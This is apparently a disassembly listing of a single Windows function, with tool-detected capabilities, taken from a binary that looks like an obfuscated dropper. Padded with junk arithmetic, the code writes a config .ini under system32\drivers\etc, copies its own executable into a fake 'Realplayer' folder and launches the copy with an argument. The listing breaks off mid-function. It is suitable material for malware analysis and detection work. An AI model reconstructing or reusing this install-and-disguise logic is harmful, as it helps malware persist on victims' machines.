Function at 0x4022a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b34b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14bc
call fcn.00430fe0
mov eax, dword [0x45f640]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0xfc4], eax
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x814], bl
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], bl
mov esi, dword [0x45dbcc]
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45dbd4]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, esi
imul edx, edx, 0x33bbc84
add edi, edx
mov eax, 0x2ee68aa5
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub edi, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbdc]
imul eax, eax, 0x362805a
add edi, edx
add edi, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
sub edi, ecx
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push ebx
mov dword [str._r_____r____], eax
mov dword [ebp - 4], ebx
call fcn.00430fa7
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe4]
mov edi, eax
imul esi, esi, 0x3e6f678
mov eax, 0xc69fb513
imul ecx
add edx, ecx
add esp, 4
mov dword [ebp - 0xfb4], edi
sar edx, 0x19
add esi, edx
mov ebx, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x33bbc84
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbcc]
add ebx, edx
mov eax, 0x83228937
imul esi
mov eax, dword [0x45dbe8]
add edx, esi
imul eax, eax, 0x20e865f
sar edx, 0x19
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add ecx, esi
sub ecx, edx
add ecx, 0x276937b
mov dword [0x45dbcc], ecx
call fcn.004488d3
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfc8]
call fcn.004021f0
mov ecx, dword [ebp - 0xfc8]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402455
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402468
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x4036e9
mov ecx, dword [0x45dbdc]
mov esi, dword [str._r_____r____]
mov eax, dword [0x45dbd8]
lea ebx, [eax + esi]
imul esi, esi, 0x293e68d
mov eax, 0xc69fb513
imul ebx, ebx, 0x362805a
imul ecx
add edx, ecx
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
mov edx, ecx
imul edx, edx, 0x33bbc84
add eax, ebx
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x83228937
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
push str.C:WINDoWS_system32driversetc_s2er333vice9.ini
add eax, edx
push 0x100
sub ebx, eax
lea eax, [ebp - 0x114]
push eax
push 0x44de89
push str.RAND
lea edx, [ebx + ecx - 0x3e6f678]
push str.AAAAA
mov dword [0x45dbd4], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbcc]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, esi
imul edx, edx, 0x33bbc84
add ebx, edx
mov eax, 0x2ee68aa5
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub ebx, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbdc]
imul eax, eax, 0x362805a
add ebx, edx
add ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [str._r_____r____], eax
lea ecx, [ebp - 0x114]
push ecx
call fcn.00430fa2
add esp, 4
test eax, eax
jle 0x4025be
lea edx, [ebp - 0x114]
push edx
call fcn.00430fa2
add esp, 4
mov dword [ebp - 0xfb4], eax
jmp 0x4025ef
push edi
lea eax, [ebp - 0x114]
push 0x44db00
push eax
call fcn.00430971
add esp, 0xc
push str.C:WINDOWS_system32driversetc_s2er333vice9.ini
lea ecx, [ebp - 0x114]
push ecx
push str.RAND
push str.AAAAA
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x45dbe8]
mov ecx, dword [0x45dbd4]
imul eax, eax, 0x20e865f
mov esi, dword [0x45dbe4]
mov dword [ebp - 0xfc0], eax
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov ebx, esi
imul ebx, ebx, 0x3e6f678
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbcc]
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0xfac], eax
mov eax, 0x83228937
imul edx
add edx, dword [0x45dbcc]
mov eax, dword [ebp - 0xfac]
mov edi, dword [0x45dbe0]
sar edx, 0x19
imul edi, edi, 0x33bbc84
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, dword [ebp - 0xfc0]
mov ebx, dword [str._r_____r____]
sub eax, ebx
lea edx, [eax + edi + 0x276937b]
mov eax, dword [ebp - 0xfb4]
mov dword [0x45dbcc], edx
mov dword [ebp - 0xfa8], edi
cdq
mov edi, 0x190
idiv edi
mov dword [ebp - 0xfbc], edx
and edx, 0x80000001
jns 0x4026b7
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
jne 0x402851
mov ecx, dword [0x45dbcc]
mov eax, 0xc41087d7
imul esi
add edx, esi
mov eax, dword [0x45dbd0]
add ecx, eax
sar edx, 0x1a
imul ecx, ecx, 0x2baab78
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3e6f678
add ecx, edx
mov eax, 0xc69fb513
imul esi
mov eax, dword [0x45dbe0]
imul eax, eax, 0x35bbff4
add edx, esi
sar edx, 0x19
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45dbcc]
add esi, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfbc]
sub esi, ecx
mov eax, ebx
imul eax, eax, 0x293e68d
mov dword [ebp - 0xfb4], eax
mov eax, dword [0x45dbd4]
add esi, edi
mov dword [ebp - 0xfb8], edi
mov edi, dword [0x45dbc8]
add eax, edi
imul eax, eax, 0x3e78532
mov dword [ebp - 0xfb0], eax
dec edx
mov dword [ebp - 0xfac], edx
mov eax, 0xc69fb513
imul dword [0x45dbd8]
add edx, dword [0x45dbd8]
mov eax, dword [ebp - 0xfb0]
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x2ee68aa5
imul dword [0x45dbd8]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcfdc5805
imul ebx
mov eax, ecx
add edx, ebx
sar edx, 0x19
mov ecx, edx
add eax, edx
mov edx, dword [ebp - 0xfb4]
shr ecx, 0x1f
add ecx, eax
sub ecx, dword [ebp - 0xfb8]
mov dword [0x45dbdc], esi
add ecx, edx
mov eax, dword [0x45dbd8]
mov edx, dword [ebp - 0xfbc]
add ebx, eax
inc edx
imul ebx, ebx, 0x362805a
mov dword [ebp - 0xfb8], edx
mov eax, 0xc69fb513
imul esi
add edx, esi
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, esi
imul edx, edx, 0x33bbc84
add eax, edx
mov ebx, eax
mov eax, 0x83228937
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
sub ebx, eax
add ebx, dword [ebp - 0xfb4]
mov eax, dword [ebp - 0xfbc]
lea ebx, [ebx + edx - 0x3e6f678]
mov dword [0x45dbe4], ecx
mov dword [0x45dbd4], ebx
add eax, 3
jmp 0x402977
mov edi, dword [0x45dbc8]
lea eax, [edi + ecx]
imul edi, edi, 0x3e6f678
imul eax, eax, 0x3e78532
mov dword [ebp - 0xfac], eax
mov eax, 0xc69fb513
imul dword [0x45dbd8]
add edx, dword [0x45dbd8]
sar edx, 0x19
mov eax, dword [ebp - 0xfac]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov edx, ebx
imul edx, edx, 0x293e68d
add eax, edx
mov ecx, eax
mov eax, 0x2ee68aa5
imul dword [0x45dbd8]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcfdc5805
imul ebx
add edx, ebx
sar edx, 0x19
mov eax, ecx
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0xc41087d7
imul esi
add edx, esi
mov esi, dword [0x45dbd0]
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfbc]
sub ecx, eax
mov dword [ebp - 0xfac], edx
mov eax, 0x1066a8b3
imul esi
sar edx, 0x16
add edi, edx
mov ebx, edx
mov eax, 0x4f2cca89
imul esi
sar edx, 0x18
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x4c3a114b
imul esi
mov eax, dword [0x45dbe0]
imul eax, eax, 0xac2519
sar edx, 0x18
mov edi, edx
add ebx, edx
shr edi, 0x1f
add edi, ebx
sub edi, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
mov dword [0x45dbe4], ecx
shr eax, 0x1f
mov esi, dword [0x45dbdc]
mov ebx, dword [0x45dbd4]
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0xfbc]
lea edx, [eax + 2]
mov dword [0x45dbc8], edi
mov dword [ebp - 0xfb8], edx
add eax, 4
mov dword [ebp - 0xfb0], eax
mov eax, 0xc69fb513
imul ebx
add edx, ebx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbcc]
mov dword [ebp - 0xfb4], eax
mov ebx, edx
mov eax, 0x2ee68aa5
imul ebx, ebx, 0x33bbc84
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, esi
imul edx, edx, 0x362805a
add ebx, edx
mov eax, 0xc41087d7
imul dword [0x45dbd4]
add edx, dword [0x45dbd4]
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul dword [0x45dbcc]
add edx, dword [0x45dbcc]
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, dword [ebp - 0xfc0]
mov edx, dword [ebp - 0xfb8]
add eax, ebx
add eax, dword [ebp - 0xfb4]
mov dword [str._r_____r____], eax
mov eax, 0x190
cmp edx, eax
jl 0x402aa6
mov eax, 0x83228937
imul dword [0x45dbcc]
add edx, dword [0x45dbcc]
mov ebx, ecx
imul ebx, ebx, 0x3e6f678
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45dbd4]
mov dword [ebp - 0xfb8], eax
mov eax, 0x974409b3
imul dword [0x45dbd4]
add edx, ebx
mov ebx, dword [ebp - 0xfb8]
sar edx, 0x19
mov eax, edx
add ebx, edx
mov edx, dword [ebp - 0xfc0]
shr eax, 0x1f
add eax, ebx
mov ebx, dword [str._r_____r____]
sub eax, edx
mov edx, dword [ebp - 0xfa8]
sub eax, ebx
add eax, edx
mov edx, dword [ebp - 0xfb4]
lea eax, [eax + edx + 0x276937b]
mov edx, dword [ebp - 0xfbc]
dec edx
mov dword [0x45dbcc], eax
mov dword [ebp - 0xfb8], edx
mov edx, dword [0x45dbe8]
imul edi, edi, 0x293e68d
mov eax, edx
imul eax, eax, 0x3e6f678
sub edi, eax
mov ebx, dword [0x45dbe0]
mov eax, 0x4f2cca89
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83228937
imul ebx
add edx, ebx
sar edx, 0x19
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, ebx
imul edx, edx, 0x3e78532
add eax, edx
mov edi, eax
mov eax, 0x7c780d21
imul dword [0x45dbe8]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0xfb0]
add eax, edi
sub eax, dword [ebp - 0xfb4]
mov dword [0x45dbd8], eax
mov eax, 0x190
cmp edx, eax
jl 0x402b9d
mov edi, dword [0x45dbcc]
imul esi, esi, 0x3e6f678
imul ebx, ebx, 0x35bbff4
mov edx, dword [0x45dbd0]
lea eax, [edx + edi]
imul eax, eax, 0x2baab78
add eax, esi
mov dword [ebp - 0xfa8], eax
mov eax, 0xc69fb513
imul ecx
mov eax, dword [ebp - 0xfa8]
add edx, ecx
sar edx, 0x19
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x974409b3
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x45dbdc], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.c:program_filesRealplayer
call ebx
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul esi, esi, 0x3e6f678
mov eax, 0x1066a8b3
imul ecx
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x4f2cca89
imul ecx
shr edi, 0x1f
add edi, esi
sar edx, 0x18
add edi, edx
mov esi, edx
mov eax, 0x4c3a114b
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x18
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0xac2519
shr edi, 0x1f
add edi, esi
sub edi, edx
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
mov dword [0x45dbc8], edi
lea edi, [eax + str.Installing]
push edi
lea ecx, [ebp - 0x214]
push str.c:program_filesRealplayer_s
push ecx
mov dword [ebp - 0xfb0], edi
call fcn.00430971
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbd8]
add eax, edx
imul eax, eax, 0x3e78532
mov dword [ebp - 0xfa8], eax
mov esi, dword [str._r_____r____]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
mov eax, esi
imul eax, eax, 0x293e68d
add edx, eax
mov dword [ebp - 0xfa8], edx
mov eax, 0x2ee68aa5
imul ecx
mov eax, dword [ebp - 0xfa8]
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 0xc
sub eax, ecx
mov dword [ebp - 0xfa8], eax
mov eax, 0xcfdc5805
mov ecx, dword [0x45dbe4]
imul esi
mov eax, dword [ebp - 0xfa8]
add edx, esi
sar edx, 0x19
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
lea ecx, [ebp - 0x214]
sub esi, eax
push ecx
mov dword [0x45dbe4], esi
call ebx
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul esi, esi, 0x3e6f678
mov eax, 0x1066a8b3
imul ecx
sar edx, 0x16
add esi, edx
mov ebx, edx
mov eax, 0x4f2cca89
imul ecx
sar edx, 0x18
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov esi, edx
mov eax, 0x4c3a114b
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x18
shr esi, 0x1f
add esi, ebx
mov ebx, edx
add esi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0xac2519
shr ebx, 0x1f
add ebx, esi
sub ebx, edx
mov eax, 0x974409b3
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xfb8]
imul ecx, ecx, 0x25
sar edx, 0x19
mov eax, edx
add ecx, str.Installing
push ecx
shr eax, 0x1f
add eax, edx
push edi
lea edx, [ebp - 0x214]
sub ebx, eax
push str.c:program_filesRealplayer_s_s.exe
push edx
mov dword [0x45dbc8], ebx
call fcn.00430971
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov ebx, dword [0x45dbc8]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
mov eax, esi
add esp, 0x10
add ecx, edx
imul eax, eax, 0x3e6f678
imul ebx, ebx, 0x293e68d
sub ebx, eax
mov edi, dword [0x45dbe0]
mov eax, 0x4f2cca89
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x83228937
imul edi
add edx, edi
imul edi, edi, 0x3e78532
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov ebx, eax
mov edi, dword [0x45dbcc]
mov eax, 0x7c780d21
imul esi
imul esi, esi, 0x20e865f
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, ecx
mov dword [0x45dbd8], eax
mov eax, 0x2ee68aa5
imul edi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x362805a
mov ebx, edi
imul ebx, ebx, 0x33bbc84
sub ebx, eax
add ebx, esi
mov esi, dword [0x45dbd4]
add ebx, edx
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul edi
add edx, edi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add ebx, ecx
push 0x100
lea ecx, [ebp - 0x114]
add eax, edx
push ecx
add eax, ebx
push 0
mov dword [ebp - 0xfac], 0
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.0043d8e1
mov ecx, dword [0x45dbe4]
mov esi, dword [0x45dbd4]
add esp, 0xc
imul ecx, ecx, 0x3e6f678
mov edi, eax
mov eax, 0xc69fb513
imul esi
add edx, esi
sar edx, 0x19
add ecx, edx
mov ebx, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x33bbc84
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45dbcc]
add ebx, edx
mov eax, 0x83228937
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe8]
imul ecx, ecx, 0x20e865f
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, ecx
mov ebx, eax
mov eax, 0x974409b3
imul esi
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov ebx, dword [str._r_____r____]
sub ecx, ebx
add ecx, 0x276937b
cmp edi, 0xffffffff
mov dword [0x45dbcc], ecx
je 0x40326c
mov ecx, dword [0x45dbdc]
mov edx, dword [0x45dbd8]
lea esi, [edx + ebx]
imul ebx, ebx, 0x293e68d
mov eax, 0xc69fb513
imul esi, esi, 0x362805a
imul ecx
add edx, ecx
sar edx, 0x19
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x33bbc84
shr eax, 0x1f
add eax, esi
add eax, ebx
add eax, edx
mov esi, eax
mov eax, 0x83228937
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x100000
sub esi, eax
lea edx, [esi + ecx - 0x3e6f678]
push 0x4605c0
push edi
mov dword [0x45dbd4], edx
call fcn.0043c4ee
push edi
mov ebx, eax
call fcn.0043c684
add esp, 0x10
cmp ebx, 0x2800
jle 0x403260
mov esi, dword [0x45dbcc]
mov eax, dword [0x45dbd0]
mov ecx, dword [0x45dbdc]
lea edi, [eax + esi]
imul ecx, ecx, 0x3e6f678
imul edi, edi, 0x2baab78
add edi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
add edi, edx
mov eax, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x35bbff4
shr eax, 0x1f
add eax, edi
add eax, edx
mov edi, eax
mov eax, 0x974409b3
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push 0
mov dword [0x45dbdc], ecx
call fcn.00430fa7
push eax
push 0x44db00
push 0x4608c0
call fcn.00430971
push 0x180
lea edx, [ebp - 0x214]
push 0x8302
push edx
call fcn.0043d8e1
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x4030ef
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4030b0
sub eax, edx
lea eax, [ebp + eax - 0x218]
push str.s.exe
push eax
call fcn.00430971
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.0043d8e1
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x403260
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
add eax, edx
mov ecx, dword [0x45dbd8]
imul eax, eax, 0x3e78532
mov dword [ebp - 0xfa8], eax
mov edi, dword [str._r_____r____]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
mov eax, edi
imul eax, eax, 0x293e68d
add edx, eax
mov dword [ebp - 0xfa8], edx
mov eax, 0x2ee68aa5
imul ecx
mov eax, dword [ebp - 0xfa8]
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, dword [0x45dbe4]
mov dword [ebp - 0xfa8], eax
mov eax, 0xcfdc5805
imul edi
mov eax, dword [ebp - 0xfa8]
add edx, edi
sar edx, 0x19
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
push ebx
add eax, edx
sub edi, eax
push 0x4605c0
push esi
mov dword [0x45dbe4], edi
call fcn.00439ec6
push 2
push 0
push esi
call fcn.00439c5f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45dbd0]
mov edi, dword [0x45dbc8]
imul edi, edi, 0x3e6f678
mov eax, 0x1066a8b3
imul ecx
sar edx, 0x16
add edi, edx
mov ebx, edx
mov eax, 0x4f2cca89
imul ecx
shr ebx, 0x1f
add ebx, edi
sar edx, 0x18
add ebx, edx
mov edi, edx
mov eax, 0x4c3a114b
imul ecx
shr edi, 0x1f
add edi, ebx
sar edx, 0x18
mov ebx, edx
mov ecx, dword [0x45dbe0]
imul ecx, ecx, 0xac2519
add edi, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x974409b3
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xfb8]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
push ecx
lea edx, [ebp - 0xe14]
push edx
sub ebx, eax
push esi
mov dword [0x45dbc8], ebx
call fcn.00439ec6
push esi
call fcn.0043c684
add esp, 0x28
mov dword [ebp - 0xfac], 1
mov ecx, dword [0x45dbcc]
mov esi, dword [0x45dbd4]
mov eax, dword [0x45dbe8]
mov edi, dword [0x45dbd8]
imul eax, eax, 0x20e865f
mov dword [ebp - 0xfc0], eax
mov eax, 0x1066a8b3
imul edi
imul edi, edi, 0x5390766
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbd0]
mov ebx, eax
mov eax, 0xcfdc5805
imul edx
add edx, dword [0x45dbd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x362805a
sub ebx, eax
add ebx, edx
add ebx, edi
mov edi, dword [0x45dbdc]
mov eax, 0xc41087d7
imul edi
add edx, edi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe4]
sub ebx, eax
sub ebx, edx
mov edx, dword [ebp - 0xfc0]
lea eax, [ebx + edx - 0x3e6f678]
mov dword [0x45dbd0], eax
cmp dword [ebp - 0xfac], 1
jne 0x4036da
mov eax, 0xc69fb513
imul edi, edi, 0x362805a
imul esi
add edx, esi
sar edx, 0x19
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, ecx
imul edx, edx, 0x33bbc84
add ebx, edx
mov eax, 0x2ee68aa5
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ebx, dword [ebp - 0xfc0]
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x114]
add ecx, ebx
push str._s__33201_
push eax
mov dword [str._r_____r____], ecx
call fcn.00430971
mov esi, dword [0x45dbe4]
xor eax, eax
imul esi, esi, 0x3e6f678
mov ecx, 0x11
lea edi, [ebp - 0x100c]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45dbd4]
mov edi, dword [0x45dbe0]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
add esi, edx
mov ebx, edx
mov edx, edi
imul edx, edx, 0x33bbc84
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbcc]
add ebx, edx
mov eax, 0x83228937
imul esi
mov eax, dword [0x45dbe8]
add edx, esi
imul eax, eax, 0x20e865f
sar edx, 0x19
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
add esp, 0xc
mov dword [ebp - 0x100c], 0x44
sar edx, 0x19
mov ecx, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x45dbd8]
add eax, esi
mov esi, dword [0x45dbdc]
sub eax, ecx
add eax, 0x276937b
mov dword [0x45dbcc], eax
lea ebx, [edx + ecx]
imul ecx, ecx, 0x293e68d
mov eax, 0xc69fb513
imul ebx, ebx, 0x362805a
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, esi
imul ecx, ecx, 0x33bbc84
add eax, ecx
mov ebx, eax
mov eax, 0x83228937
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebp - 0x101c]
push edx
lea eax, [ebp - 0x100c]
push eax
push 0
push 0
push 0x20
push 0
push 0
lea ecx, [ebx + edi - 0x3e6f678]
mov dword [0x45dbd4], ecx
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xfe0], 1
mov word [ebp - 0xfdc], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40355b
mov esi, dword [0x45dbcc]
mov edx, dword [0x45dbd0]
